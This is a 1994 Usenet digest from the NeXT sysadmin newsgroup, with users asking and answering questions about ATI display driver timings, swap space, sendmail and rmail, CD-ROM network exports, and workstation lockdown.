e-mail: kruppa@pcl12.wiwisem.wirtschaftswissenschaft.uni-tuebingen.de
Newsgroups: comp.sys.next.sysadmin
From: martin@initiera.upnet.se (Martin Wennerberg)
Subject: Using a CD-ROM on a network?
Message-ID: <1994May17.123459.26869@sics.se>
Keywords: CD-ROM network mount
Sender: news@sics.se
Organization: Swedish Institute of Computer Science, Kista
Date: Tue, 17 May 1994 12:34:59 GMT
Does anybody know how I can mount and export a CD-ROM
to the network and still be able to change CD-ROM disks
without having to export each new disk .
Thanks,
/Ulf
ulf@initiera.upnet.se
From: hdwoernd@faui06d.informatik.uni-erlangen.de (Harald Woerndl-Aichriedler)
Newsgroups: comp.sys.next.sysadmin,de.comp.sys.next,comp.sys.next.hardware,comp.sys.next.bugs
Subject: Bugfix: ATI rev.3 @1120x832
Date: Tue, 17 May 1994 16:26:47 +0200
Organization: Student Pool, CSD, University of Erlangen, Germany
Message-ID: <2rak77$fns@faui06d.informatik.uni-erlangen.de>
Summary: ATI r3 now works great!
Keywords: ATI bug viedeo
Good news for all folks using an older ATI, revision 3 Card:
Now it works nearly CLEAN at 1120x832. You only have to recompile
the 'ATI-driver in /NextDeveloper/Examples/Driverkit/ATI...'
with the following changes in the file "ATIconfig.c":
static const ATI_CRTSetup ATI_crt_1120_68 = {
1120, 832,
173, 139, 138, 15,
1725, 1663, 1666, 6,
0x23, 0x062c, 0, };
the values mean:
173 (* 8) pixels total (before 171)
139 (* 8) pixels visable (unchanged)
138 (* 8) pixels when hSync comes (before 145)
15 (* 8) pixels hSync width (before 12)
1725 (/ 2) lines total (before 1736)
1663 (/ 2) lines visable (unchanged)
1666 (/ 2) lines when vSync comes (before 1669)
6 (/ 2) lines vSync width (unchanged)
0x23 .. control flags (unchanged)
0x062c .. clock select for 80 MHz (unchanged)
0 .. mux-flag (??? - unchanged)
The Settings also better adjust the width for low-cost 17"-displays.
WARNING: The display must work with HSync-signals up to 60 KHz,
a pixel-clock up to 80 MHz and vSync-signals up to 67.5 Hz.
The new vertical refresh rate is 67Hz, the old one is 67.7 Hz (not 68).
My System now runs nearly with no black or white lines at the left
border of the screen. (You don't recognice them)
If you want to experience with new resolutions, you will like this
setting for 17" displays (1280x960 @ 67Hz, BW:8):
static const ATI_CRTSetup ATI_crt_1280_67 = {
1280, 960,
206, 159, 162, 23,
1992, 1920, 1926, 12,
0x23, 0x0628, 1, };
To install a new resolution, fill in the CRTSetup and update the table
'ATIMode[]'. You also have to add one line into the file 'localiceable.string'.
If someone is able to run the ATI interlaced, please send me the
description, how you did it, because I got an old 19" fix-frequence
greyscale monitor (80Hz i).
Waiting for other (re)solutions...
Bye, Harry
From: neuwirth@titania.tuwien.ac.at (Neuw. v. Ophelia)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Using A4 with Apple Personal Laserwriter NTR
Date: 17 May 1994 16:05:35 GMT
Organization: Technical University Vienna, Austria
Message-ID: <2raq0g$r5e@email.tuwien.ac.at>
References: <1994May16.211140.18637@ica.philips.nl>
Osman Khan (khan@ica.philips.nl) wrote:
: On resetting the pagesize to letter - the document does get printed.
: Can someone help in explaining how I change the printers
: configuration? I am using NextStep 3.2 on a Cube.
Unfortunately, there are quite some printers that refuse to print if
the paper format does not correspond to the format in the file. hmmmm.
I did have quite similar problems and (quite by chance) found out that
the paper format is in the defaults database.
dwrite GLOBAL NXPaperFormat a4
should do the trick. I assume then you don't even have to change the
headers. Although I am only using an HP LaserJet 4 with PostScript
options, I didn't have to change anything apart from that (and the
setup for the printer).
Good luck,
//konrad
Newsgroups: comp.sys.next.software,comp.sys.next.hardware,comp.sys.next.sysadmin
From: tommi@balou.rhein.de (Thomas Pfleiderer)
Subject: Searching for BBS
Message-ID: <1994May17.071514.897@balou.rhein.de>
Sender: tommi@balou.rhein.de
Organization: private NeXT
Date: Tue, 17 May 94 07:15:14 GMT
Hejsa,
does anybody know, if there is a BBS for the NeXT? I want to have a nice
menu-system where people can dial in and browse through news and mail and can
exchange files etc.
tommi
------
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tommi@balou.rhein.de
voice/fax: +49 2225 701332
NeXT-Mail appreciated.
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin
From: jmeacham@ants.ci.net (James D. Meacham 3rd)
Subject: vnode_pager: /private/swapdisk/vm/swapfile is full--what do I do?
Message-ID: <CpyJo4.3B8@ants.ci.net>
Sender: jmeacham@ants.ci.net (James D. Meacham 3rd)
Organization: Meacham, Zweig, and Cats
Date: Tue, 17 May 1994 17:38:27 GMT
I keep getting a message on the console which says:
vnode_pager: /private/swapdisk/vm/swapfile is full
What do I do so this doesn't happen? I assume this means my swapfile is too
small at 30 megs. I'd think this would be big enough with 20 megs of RAM. Any
suggestions from the collected wisdom of NeXT 'net Gurus. Thanks in advance.
Peace,
James
---
_____________________________________________________________________
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M.Div. Candidate
Andover Newton Theological School e-mail:jmeacham@ants.ci.net
7 Flint Road Phone: 617-926-6024
Watertown, MA 02172 NeXTMAIL accepted
Intern Minister 64-66 Marlborough Street
First and Second Church in Boston Boston, MA 02116
(Unitarian Universalist) 617-267-6730
_____________________________________________________________________
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Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin
From: abe@vic.cc.purdue.edu (Vic Abell)
Subject: Re: vnode_pager: /private/swapdisk/vm/swapfile is full--what do I do?
Sender: news@mozo.cc.purdue.edu (USENET News)
Message-ID: <CpyKJz.DvE@mozo.cc.purdue.edu>
Date: Tue, 17 May 1994 17:57:35 GMT
References: <CpyJo4.3B8@ants.ci.net>
Organization: Purdue University
In article <CpyJo4.3B8@ants.ci.net> jmeacham@ants.ci.net writes:
>
>I keep getting a message on the console which says:
>
>vnode_pager: /private/swapdisk/vm/swapfile is full
>
>What do I do so this doesn't happen? I assume this means my swapfile is too
>small at 30 megs. I'd think this would be big enough with 20 megs of RAM. Any
>suggestions from the collected wisdom of NeXT 'net Gurus. Thanks in advance.
Conventional Unix wisdom says you should allocate swap space in an
amount equal to or greater than three times memory size -- 60MB in
your case.
NeXTSTEP controls swap space allocation via entries in the /etc/swaptab
file and in the files of /private/vm. Look at swaptab(5) for more
information.
From: mdemsey@daphne.nwest.mccaw.com (Matt Demsey)
Newsgroups: comp.sys.next.sysadmin
Subject: The old anon ftp question
Date: 17 May 1994 20:32:44 GMT
Organization: McCaw Cellular Communications, Inc.
Distribution: world
Message-ID: <2rb9lc$1sr@ftp-p.mccaw.com>
Could someone please email me a pointer to where i could
find a method to setting up a NeXT as an anonymous ftp
site..
Thanks,
loki
Newsgroups: comp.sys.next.sysadmin
From: js@euler.hnv.icem.de(Juergen Sell)
Subject: Re: rmail throws away my messages!
Message-ID: <Cpyq7s.D7@euler.hnv.icem.de>
Sender: js@euler.hnv.icem.de (Juergen Sell)
Organization: Ink Unknown
References: <9405161910.AA01801@flexus>
Date: Tue, 17 May 1994 19:59:51 GMT
In comp.sys.next.sysadmin article <9405161910.AA01801@flexus> you wrote:
> LS,
>
> I have sent a message to this group before, but I got no answer.
>
> I have experienced several times (by looking inside the spool directories),
> that /bin/rmail fails for incoming messages, and, instead of sending postmaster
> a diagnostic message, just does exit(1), as evident from this message:
>
> >From uucp Sat May 14 10:29:57 1994 remote from flexus
> Received: by flexus (NX5.67d/NX3.0M.flexus.1994-03-17)
> id AA00507; Sat, 14 May 94 10:29:57 +0200
> Date: Sat, 14 May 94 10:29:57 +0200
> From: <flexus!uucp>
> Message-Id: <9405140829.AA00507@flexus>
> To: maze!daemon
> Subject: uuxqt cmd (rmail rfschtkt ) status (signal 0, exit 1)
>
> where maze is my mail relay. The message itself is lost (deleted by
> uuxqt/rmail?). Previously, I thought I knew when to expect things like this
> (for answers from a ftp-to-mail gateway I tend to use), and I could
> (tediously), save these messages out of the incoming queues before they were
> destroyed; but it happened again and I have not used this gateway.
>
> Does anyone know a solution? Source for rmail that I can inspect/adapt and
> compile? Does rmail on any other OS throw messages away like this? Please reply
> to my e-mail address, as I don't receive this newsgroup.
o Does the mail spool directory always have the proper permissions set at the critical time?
Mine is root.wheel 777.
o Is your spoolfile ok then? js.wheel 600 for me.
o Does the receiver mentioned in the uucp-logfile contain a valid machine-name for your site?
That happened to me once - machine is euler, the rmail command meant to address my fully qualified
domain-name euler.hnv.icem.de. the mail got lost!
I helped myself by ??hm ?? setting an alias to the fqdn in HostManager, I think it was.
Good luck to you and please summarize if you succeed in the struggle with your problem.
Juergen
__________________________________________________________________
J rgen Sell E-Mail js@icem.de ( NeXTMail ok )
Deisterstr. 18 Fax ++49-511-440617
BRD 30449 Hannover Fon ++49-511-440688
== The revolution will not be televised - GilScottHeron 1970 ==
== The revolution will not be posted - Juergen 1994 ==
__________________________________________________________________
From: Peter_Lipps@NeXT.com (Peter Lipps)
Newsgroups: de.comp.sys.next,comp.sys.next.software,comp.sys.next.hardware,comp.sys.next.sysadmin
Subject: Re: Searching for BBS
Date: 17 May 1994 21:03:49 GMT
Organization: NeXT, Inc.
Message-ID: <2rbbfl$9ve@rosie.next.com>
References: <1994May17.071514.897@balou.rhein.de>
Keywords: BBS, NeXTanswers
In article <1994May17.071514.897@balou.rhein.de> tommi@balou.rhein.de
(Thomas Pfleiderer) writes:
> Hejsa,
>
> does anybody know, if there is a BBS for the NeXT?
Since you are based in Germany you are lucky ;-)
Yes, there is a NeXT/NEXTSTEP BBS (here's a quote from the NeXTanswers
Europe CD installation notes)
USING NEXTANSWERS BY BBS
An independent NeXT-BBS, the OCTAGON-Mailbox, has been established
in Weilheim, Germany to distribute NeXTanswers via modem.
To connect to this mailbox, dial +49 08803-61111.
Set your communications software to 8bit/No Parity.
The mailbox supports protocols up to V.32 and PEP.
The BBS also maintains an ISDN connection under a NICCY 3000 modem
with the number +49 08803-6214-9.
For further information, please contact Mr. Alexander Steins,
alex@octagon.de per e-mail.
and yes it runs on a NEXTSTEP system.
Greetings from Germany
-Peter
______________________________
Peter Lipps
NeXT Computer Deutschland GmbH - Oskar-Messter-Str. 24, 85737 Ismaning,
Germany
InterNet: Peter_Lipps@NeXT.com
From: indy@ih-nxt07.cso.uiuc.edu (Steve Weintz)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Small Swap Drive - HELP
Date: 17 May 1994 21:24:43 GMT
Organization: University of Illinois at Urbana
Distribution: world
Message-ID: <2rbcmr$pnt@vixen.cso.uiuc.edu>
References: <1994May13.224753.902@rafa.in-berlin.de>
Yup - More is better, if you're doing stuff like Ralph's talking about. I put a 2GB
drive in my ND and turned the stock 425MB Quantum int omy swapdrive. But then, I'm
using an ND, Eater Of The Universe...
Steve
EthnoGraphics
indy@jg.cso.uiuc.edu
In article <1994May13.224753.902@rafa.in-berlin.de> ralf@rafa.in-berlin.de (Ralf
Neumann) writes:
> Hi,
> you will die with 40Mb's swapfile if you make Image- or DSP processing. Take
> care!
>
And in article <2qteol$gbs@cville-srv.wam.umd.edu> gaia@wam.umd.edu (L. Anathea
> Brooks) writes:
> > Hi,
> >
> > I've been mulling over the addition of a small, external
> > SCSI drive to use as a swap drive on this NS/Intel
> > system.
> > Is this a very good idea? Is performance improvement
> > worth the (minimal) cost?
> > Does it matter greatly whether the swap drive is slow
> > (most 40Meg drives are - but so cheap I've been
> > considering the swap drive).
> > Is it as easy to set up as Next leads you to believe?
> >
Newsgroups: comp.sys.next.sysadmin
From: mgoedel@muaddib.isar.muc.de (Maximilian Goedel)
Subject: Re: Tar
Message-ID: <CpzB7L.53A@muaddib.isar.de>
Sender: mgoedel@muaddib.isar.de (Maximilian Goedel)
Organization: Michael Maximilian Goedel
References: <2racu7$gpc@infoserv.zdv.uni-tuebingen.de>
Date: Wed, 18 May 1994 03:33:21 GMT
In article <2racu7$gpc@infoserv.zdv.uni-tuebingen.de>
kruppa@pcl12.wiwisem.wirtschaftswissenschaft.uni-tuebingen.de (Stephan Kruppa) writes:
| I've problems using the original tar command. As documented it cannot
| handle pathnames longer than 100 charakters. So I tried gnu tar. I got an
| uncompiled version from a ftp-site, but I did not get it compiled. Maybe
| someone can send me a compiled version or can at least tell me how to set
| the right flags!
|
| --
| Stephan Kruppa
| Universitaet Tuebingen
| Lehrstuhl fuer Wirtschaftsinformatik
| Nauklerstra e 47
| 72074 Tuebingen
| e-mail: kruppa@pcl12.wiwisem.wirtschaftswissenschaft.uni-tuebingen.de
Hi Stephan,
gnutar is a part of NeXTSTEP 3.2. Have a look into /usr/bin/gnutar
Nice Greetings from Munich
--
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Gerhardstrasse 33 NeXT: mgoedel@muaddib.isar.muc.de
81543 Muenchen - GERMANY LINUX: max@funman.boss.sub.org
Phone +49-89-652918 SGI: f11cs1@rz.unibw-muenchen.de
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Using a CD-ROM on a network?
Message-ID: <1994May17.162730.5450@earlham.edu>
From: jack@hyla.math.earlham.edu (Yacoub Ayoub Rabah)
Date: 17 May 94 16:27:29 EST
References: <1994May17.123459.26869@sics.se>
In article <1994May17.123459.26869@sics.se> writes:
> Does anybody know how I can mount and export a CD-ROM
> to the network and still be able to change CD-ROM disks
> without having to export each new disk .
>
> Thanks,
> /Ulf
> ulf@initiera.upnet.se
I would be interested in learning how to do that too!
Thanks
--
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Computer Science Dept. \ | | / \
Earlham College | / | | / \
jack@math.Earlham.edu (NeXTmail) ---------- -----------
rabahya@yang.earlham.edu (vax mail) -
From: alby@uunet.uu.net (Anthony Williams)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: uucp/sendmail
Date: 17 May 1994 19:46:52 -0400
Organization: UUNET Technologies, Inc. (Earth offices)
Sender: alby@cthulu.UU.NET
Distribution: world
Message-ID: <2rbl1c$5tb@cthulu.UU.NET>
References: <CprAvw.4LF@cuug.ab.ca>
This is the problem that I am having with my NeXT station.
The cause is because the RMAIL program is unable to place sending UUCP
name of the message. It's just another NS bug, what you can do is compile
sendmail 8's rmail program and see if that works. I just did that last night at
3am and I cannot remember if it worked or not, but I will check later tonight.
In article <CprAvw.4LF@cuug.ab.ca>, twasko@cuug.ab.ca (Tim Wasko) writes:
>I am using NeXTs "stock" sendmail.cf files to get uucp. It works fine except
>for the first line in the mail looks like:
>
> From somewhere!person@site ...
> ^^^^^^^^^^
>
>Why is this somewhere! showing up. I can't see anything in the rules that
>show this. Any ideas are welcome. Please email directly.
>
--
Anthony Williams uunet!alby
Technical Support Engineer alby@uunet.uu.net
--
Anthony Williams uunet!alby
Technical Support Engineer alby@uunet.uu.net
From: rgc@twix.cs.umd.edu (Ross Garrett Cutler)
Newsgroups: comp.sys.next.sysadmin,de.comp.sys.next,comp.sys.next.hardware,comp.sys.next.bugs
Subject: Re: Bugfix: ATI rev.3 @1120x832
Followup-To: comp.sys.next.sysadmin,de.comp.sys.next,comp.sys.next.hardware,comp.sys.next.bugs
Date: 18 May 1994 01:20:34 GMT
Organization: U of Maryland, Dept. of Computer Science, Coll. Pk., MD 20742
Message-ID: <2rbqh2$nvn@mimsy.cs.umd.edu>
References: <2rak77$fns@faui06d.informatik.uni-erlangen.de>
Harald Woerndl-Aichriedler (hdwoernd@faui06d.informatik.uni-erlangen.de) wrote:
: Good news for all folks using an older ATI, revision 3 Card:
: Now it works nearly CLEAN at 1120x832. You only have to recompile
: the 'ATI-driver in /NextDeveloper/Examples/Driverkit/ATI...'
: with the following changes in the file "ATIconfig.c":
ATIModes.c
: static const ATI_CRTSetup ATI_crt_1120_68 = {
static const ATI_CRTCSetup ATI_crt_1120_68 = {
^
: 1120, 832,
: 173, 139, 138, 15,
: 1725, 1663, 1666, 6,
: 0x23, 0x062c, 0, };
: the values mean:
: 173 (* 8) pixels total (before 171)
: 139 (* 8) pixels visable (unchanged)
: 138 (* 8) pixels when hSync comes (before 145)
: 15 (* 8) pixels hSync width (before 12)
: 1725 (/ 2) lines total (before 1736)
: 1663 (/ 2) lines visable (unchanged)
: 1666 (/ 2) lines when vSync comes (before 1669)
: 6 (/ 2) lines vSync width (unchanged)
: 0x23 .. control flags (unchanged)
: 0x062c .. clock select for 80 MHz (unchanged)
: 0 .. mux-flag (??? - unchanged)
: The Settings also better adjust the width for low-cost 17"-displays.
: WARNING: The display must work with HSync-signals up to 60 KHz,
: a pixel-clock up to 80 MHz and vSync-signals up to 67.5 Hz.
: The new vertical refresh rate is 67Hz, the old one is 67.7 Hz (not 68).
: My System now runs nearly with no black or white lines at the left
: border of the screen. (You don't recognice them)
Unfortunately, I still very noticeable lines on my rev 3 ATI card (with
a NEC Multisync 5fg). Have to wait for the GUT drivers...
From: philipp@res.enst.fr (Philippe-Andre Prindeville)
Newsgroups: comp.sys.next.sysadmin,comp.periphs.scsi
Subject: Re: DAT Stackers
Date: 17 May 1994 16:36:00 GMT
Organization: Ecole Nationale Superieure des Telecommunications, Paris FRANCE
Distribution: world
Message-ID: <2rarpg$i8a@enst.enst.fr>
References: <2q6ffb$dd@panix.com> <2q93kv$v2d@inca.gate.net> <2qav34$crl@nwfocus.wa.com> <2qo8qu$6mk@reznor.larc.nasa.gov>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
In article <2qo8qu$6mk@reznor.larc.nasa.gov>,
kludge@grissom.larc.nasa.gov (Scott Dorsey) writes:
>I have been impressed with the HP drives, but I'd like to know
>if anyone
>is manufacturing a stacker using them at this point. I rather
>like the
>look of the Exabyte 4mm stacker which isn't yet available, but
>I'd rather
>not deal with the bugs of a brand new product. (Does anyone
>have any
>suggestions at all as far as DAT stackers go?)
Connor and IEM both make 10 or 12 DAT stackers, plus there is
the "turntable" made by HP with a box of 6 DATs... While
there are several companies that OEM stackers, there aren't
really that many manufacturers. I've counted less than 6.
Perhaps my info is incomplete.
-Philip
From: grio@next.com (Dan Grillo)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: The old anon ftp question
Date: 18 May 1994 06:04:37 GMT
Organization: Technical Support, NeXT Computer, Inc.
Message-ID: <2rcb5l$aj3@rosie.next.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Versions: dmail 1.9c/makemail 2.2a
Matt Demsey writes in comp.sys.next.sysadmin:
>
> Could someone please email me a pointer to where i could
> find a method to setting up a NeXT as an anonymous ftp
> site..
The ftpd man page has details.
--Dan
--
Dan Grillo dan_grillo@next.com (415) 780-2963 MIME, NeXTmail fine
From: captain@arsenal.com (Andrew T. Foster)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Bugfix: ATI rev.3 @1120x832
Date: 18 May 1994 09:16:54 GMT
Organization: Division of Information Technology
Message-ID: <2rcme6$ini@news.doit.wisc.edu>
Howdy,
The code made available has reduced the amount of amazingly
bad flickering on the lefthand side of the screen. However, I
now get "static" lines that pop up when I type or move the
mouse. It is better than before, but not quite acceptable.
There is also a number of nasty horizontal lines that come
from the the dock icons.
The code provided is better than the basic package. Thank
you for at least getting it fixed to this point! Its nice to
have 1120x832 again! :)
Later!
- C
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Newsgroups: comp.sys.next.sysadmin
From: gerben@rna.nl (Gerben Wierda)
Subject: Is there a free PPP somewhere
Message-ID: <1994May18.091707.613@rna.nl>
Sender: gerben@rna.nl (Gerben Wierda)
Organization: G.R.O.S.S.
Date: Wed, 18 May 1994 09:17:07 GMT
for NS 3.2? What ftp site can I find it?
Thanks,
--
gerben@rna.nl (Gerben Wierda) NEXTSTEP RD242
"If you don't know where you're going, any road will take you there"
Paraphrased in Alice in Wonderland, originally from the Talmud.
From: eelco@bsovax.UUCP (Eelco Lammers)
Newsgroups: comp.sys.next.sysadmin
Subject: Security questions
Keywords: security, application dock, floppy, virus
Message-ID: <415@bsovax.UUCP>
Date: 18 May 94 10:14:55 GMT
Organization: BSO/AT Utrecht bv., P.O.Box 8052, 3503 RB UTRECHT, The Netherlands
Hello,
I have a number of questions regarding security aspects of the
NextStation. We have a number of NextStations (with NextStep 3.1)
running a graphical oriented application for end-users. At the moment,
the end-user has too many possibilities to damage the system, and we
do not want to allow this.
Of course we implemented a file protection scheme which prohibits
access of the end-user to dangerous files, but this appeared to be
insufficient security.
Therefore, the following questions :
1 - Is it possible to hide the complete Application Dock for the end-user ?
(The system manager must keep the ability to use his Application Dock).
2 - Is it possible to disable the Work Space Manager's File Viewer for the
end-user ? (The system manager must keep the ability to use his File
Viewer).
3 - Is it possible to block the usage of the floppy drive for the end-user ?
(The system manager must keep the ability to use the floppy drive).
4 - Is there a virus-scanner available ? How can we obtain it ?
5 - I am working on a NextStation with the man-pages removed (due to lack
of disk space). Does anybody know a document which describes the shell
commands of the Next ? The standard documentation only contains the
description of a few commands, like 'nu'.
With kind regards,
Eelco LammerS
Newsgroups: comp.sys.next.sysadmin
From: dmurray@gauss.music (Duncan Murray(EMU92))
Subject: Port of NXStep to a 486/33 Help!!!
Message-ID: <Cq03Jt.JqK@udcf.glasgow.ac.uk>
Sender: nobody@udcf.glasgow.ac.uk (uid no body)
Organization: Glasgow University Computing Service
Date: Wed, 18 May 1994 13:45:28 GMT
Bit of a newbie post but I was wondering If anyone knows how to run
NeXTStep on a 486/33. What hardware do I need if any?
I have access to all the OS upgrades from 2.0 to 3.1 and a NeXT CD-ROM
Drive.
PLease mail me rather than the grazer if you could.
Also is there any point running NS on a 33MHz machine i.e will it be as
slow as a colour NeXTStation?
any information greatfully recived.
Thanks,
dmurray@music.glas.ac.uk
From: dhowland@gpu.srv.ualberta.ca (Deborah Howland)
Newsgroups: comp.sys.next.sysadmin
Subject: No active mouse installing on Compaq?
Date: 18 May 1994 14:10:11 GMT
Organization: Computer and Network Services, U of Alberta, Edmonton, Canada
Message-ID: <2rd7k3$ap9@quartz.ucs.ualberta.ca>
Any particular reason why the standard PS/2-style mouse on a new
Compaq DeskPro 466 XE is not recognized when installing NS/FIP 3.2?
The verbose boot text says that both the serial and PS/2 mouse
drivers fail to install. Serial should fail, since there isn't a
serial mouse, but why the other failure? I've installed NS/FIP 3.1
on DeskPro's before, and had no problems.
Royce Howland
dhowland@gpu.srv.ualberta.ca (wife's account)
From: M.Crawford@dcs.shef.ac.uk
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Security questions
Date: 18 May 1994 09:25:30 -0500
Organization: UTexas Mail-to-News Gateway
Sender: daemon@cs.utexas.edu
Message-ID: <940518151502.2346AACUK.malc@jeeves>
> I have a number of questions regarding security aspects of the
> NextStation. We have a number of NextStations (with NextStep 3.1)
> running a graphical oriented application for end-users. At the moment,
> the end-user has too many possibilities to damage the system, and we
> do not want to allow this.
>
> Of course we implemented a file protection scheme which prohibits
> access of the end-user to dangerous files, but this appeared to be
> insufficient security.
>
Geez, how secure do you want to be?
It sounds like you'll be throwing away almost all of the things that you'd use
NEXTSTEP for! What specifically are you wanting to stop people doing? If
they have access to a shell (as you suggest below) then unless you're going to
give them a very restricted shell surely you'll have as many problems from
that as you'll get from the GUI?
There are a number of people who have developed applications which run without
Workspace etc at all -- maybe this is what you need...?
> 2 - Is it possible to disable the Work Space Manager's File Viewer for the
> end-user ? (The system manager must keep the ability to use his File
> Viewer).
>
Not exactly disable, they can still launch it, but:
dwrite Workspace DockLaunchFlags 0000
would stop it starting automatically. :-)
> 4 - Is there a virus-scanner available ? How can we obtain it ?
>
You don't really need one -- NEXTSTEP is "not" susceptible to viri.
> 5 - I am working on a NextStation with the man-pages removed (due to lack
> of disk space). Does anybody know a document which describes the shell
> commands of the Next ? The standard documentation only contains the
> description of a few commands, like 'nu'.
>
Nutshell books...?! :-)
Have fun,
mmalcolm.
From: kheit@gandalf.rutgers.edu (John Kheit)
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin
Subject: Slip & Ethernet, can it be done?
Message-ID: <May.18.10.48.05.1994.14736@gandalf.rutgers.edu>
Date: 18 May 94 14:48:05 GMT
Followup-To: comp.sys.next.misc
Organization: Rutgers Univ., New Brunswick, N.J.
Hi All,
I recently set up PNI slip and it at least partially worked for me.
However, my local IP address, as can be found in host manager was different
from what local IP I was given by the slip server. So, I could email stuff
out to people, but nothing would get to me.
Now I have a little net of two machines eneted together, and I thought
I could just change the IP on the machine with the modem to match that of what
the slip server assigns me at login. So after changing the IP's to match
and trying to login via SLIP, SLIP hangs whenever I try to telnet, or ftp or
anything!
Maybe your not supposed to have the same Hostmanager IP and Slip server
IP??? If not, then how do you get things like mail to know how to get to your
account? Or maybe the problem is that enet and slip cannot coexist?
Thanks for any/all help.
Later, John
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc,comp.mail.sendmail
Subject: Sendmail V8 (who's running it?)
Date: 18 May 1994 16:05:35 GMT
Organization: me organized? That's a joke!
Distribution: world
Message-ID: <ROBERT.94May18170535@steffi.demon.co.uk>
Recently I moved over to smail and smail supports NeXT netinfo
aliasing (relatively trivial) so ...
Who's running the new sendmail ... Perhaps it can be coaxed to also
support netinfo aliases...
Any other benefits from using the new Sendmail...
As I understand it need to go and grab the new BSD dbm stuff too?
How trivial are the config files for this?
--
"Emacs isn't pretty. It's functional!"
(ASCII for text only messages)
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Sendmail V8 (who's running it?)
Date: 18 May 1994 17:15:08 GMT
Organization: University of California, Berkeley
Distribution: world
Message-ID: <2rdies$k3s@agate.berkeley.edu>
References: <ROBERT.94May18170535@steffi.demon.co.uk>
In article <ROBERT.94May18170535@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson)
writes:
>Recently I moved over to smail and smail supports NeXT netinfo
>aliasing (relatively trivial) so ...
>
>Who's running the new sendmail ... Perhaps it can be coaxed to also
>support netinfo aliases...
I am running sendmail 8.6.8 although the latest version is 8.6.9
(from ftp.cs.berkeley.edu:/pub/ucb/sendmail).
It does not support netinfo aliases, but /etc/sendmail/aliases works
fine. Compiles fine with "make -f Makefile.NeXT" to produce executables.
New format man pages can't be made, but you probably don't really
need the new man pages because better documentation comes with it.
>Any other benefits from using the new Sendmail...
It is faster. ESMTP.
>As I understand it need to go and grab the new BSD dbm stuff too?
You don't need it. At least I am not using it.
>How trivial are the config files for this?
I started with cf/cf/tcpproto.mc and clientproto.mc,
just added "OSTYPE(nextstep)dnl" and other small stuff.
If you can use other smart hosts for resoving bitnet, uucp
addresses, config is really trivial.
You will need a new "m4" macro processor to make .cf files, as the
NeXT's is too old. You can grab GNU m4 source or use any platform
that already has new m4, e.g., you can make .cf files on a Sun, as
both input and output files are ascii files.
--
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USMail: Univ. of California, 360 Minor Hall, Berkeley, CA 94720-2020
Telephone: (510) 642-6440 Fax: (510) 642-3323
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From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: Read Receipt's from other MTU's?
Date: 18 May 1994 21:47:00 GMT
Organization: me organized? That's a joke!
Distribution: world
Message-ID: <ROBERT.94May18224702@steffi.demon.co.uk>
Has anybody got other MTU's supporting Read Receipt requests...
ie. in an out.going message add...
Received: by NeXT.Mailer (1.100.RR)
and when the mail is read by Mail.app you'll get a receipt....
The thing is it appears to me that an order dependency exists ie. the
Received must come directly after the From?????
ie. this doesn't generate a receipt..
From robert Wed May 18 22:38:16 1994
Return-Path: <robert>
Received: by steffi.demon.co.uk (Smail3.1.28.1 #1)
id m0q3tJf-000I1DC; Wed, 18 May 94 22:38 BST
Message-Id: <m0q3tJf-000I1DC@steffi.demon.co.uk>
Date: Wed, 18 May 94 22:38 BST
From: robert (Robert Nicholson)
To: robert
Subject: testing
X-Mailer: VM 5.63
Received: by NeXT Mailer (1.100RR)
Received: by NeXT Mailer (1.100RR)
Status: O
but this does.
From robert Wed May 18 22:39:37 1994
Return-Path: <robert>
Received: by steffi.demon.co.uk (Smail3.1.28.1 #1)
id m0q3tKz-000I1DC; Wed, 18 May 94 22:39 BST
Message-Id: <m0q3tKz-000I1DC@steffi.demon.co.uk>
Date: Wed, 18 May 94 22:39 BST
From: robert (Robert Nicholson)
Received: by NeXT.Mailer (1.100.RR)
Received: by NeXT Mailer (1.100.RR)
To: robert
Subject: testing
testing
--
Incidently, why is it necessary to have two Received lines?
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(ASCII for text only messages)
From: keiblin@cs.tu-berlin.de (Alexander Keiblinger)
Newsgroups: comp.sys.next.sysadmin
Subject: HELP: NSI 3.2 Boot Floppy damaged
Date: 19 May 1994 00:54:10 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <2redbi$mtn@news.cs.tu-berlin.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Hello World,
my Boot Floppy for NSI 3.2 is damaged and I see no other way to
boot from the CD.
Is there anyone, who knows a ftp location for a dd image or who would
do a "dd if=/dev/rfd0b of=/tmp/image conv=sync bs=8k" and mail me the
gzip'ed /tmp/image file ?
I am in real trouble. After a "fsck -y" my /etc/init and parts of
/usr/Devices/* are broken, my machine is not able to come up.
What else to say ? ... HHHHEEEELLLPPPPPPP
But please do not send the image immediatly. I only need one, so
give me a mail first.
Thanks in advance ... Alex Keiblinger
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Newsgroups: comp.sys.next.sysadmin
From: mark@xexos.com (Mark Chamberlain)
Subject: Re: Read Receipt's from other MTU's?
Message-ID: <Cq0xI0.27p@xexos.com>
Sender: usenet@xexos.com
Organization: Xexos Ltd (London)
References: <ROBERT.94May18224702@steffi.demon.co.uk>
Date: Thu, 19 May 1994 00:32:24 GMT
In article <ROBERT.94May18224702@steffi.demon.co.uk> robert@steffi.demon.co.uk
(Robert Nicholson) writes:
> Has anybody got other MTU's supporting Read Receipt requests...
> Received: by NeXT.Mailer (1.100.RR)
> Received: by NeXT Mailer (1.100.RR)
My last experiments have shown that its all in the . between the first
NeXT.Mailer statement. It must be there and it must be the first Received:
statement.
Why it does this, and why there are two is just a quirk of NeXT mail.
--
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Xexos Ltd fax +44 71 231 0844
London mark@xexos.com
Newsgroups: comp.sys.next.sysadmin
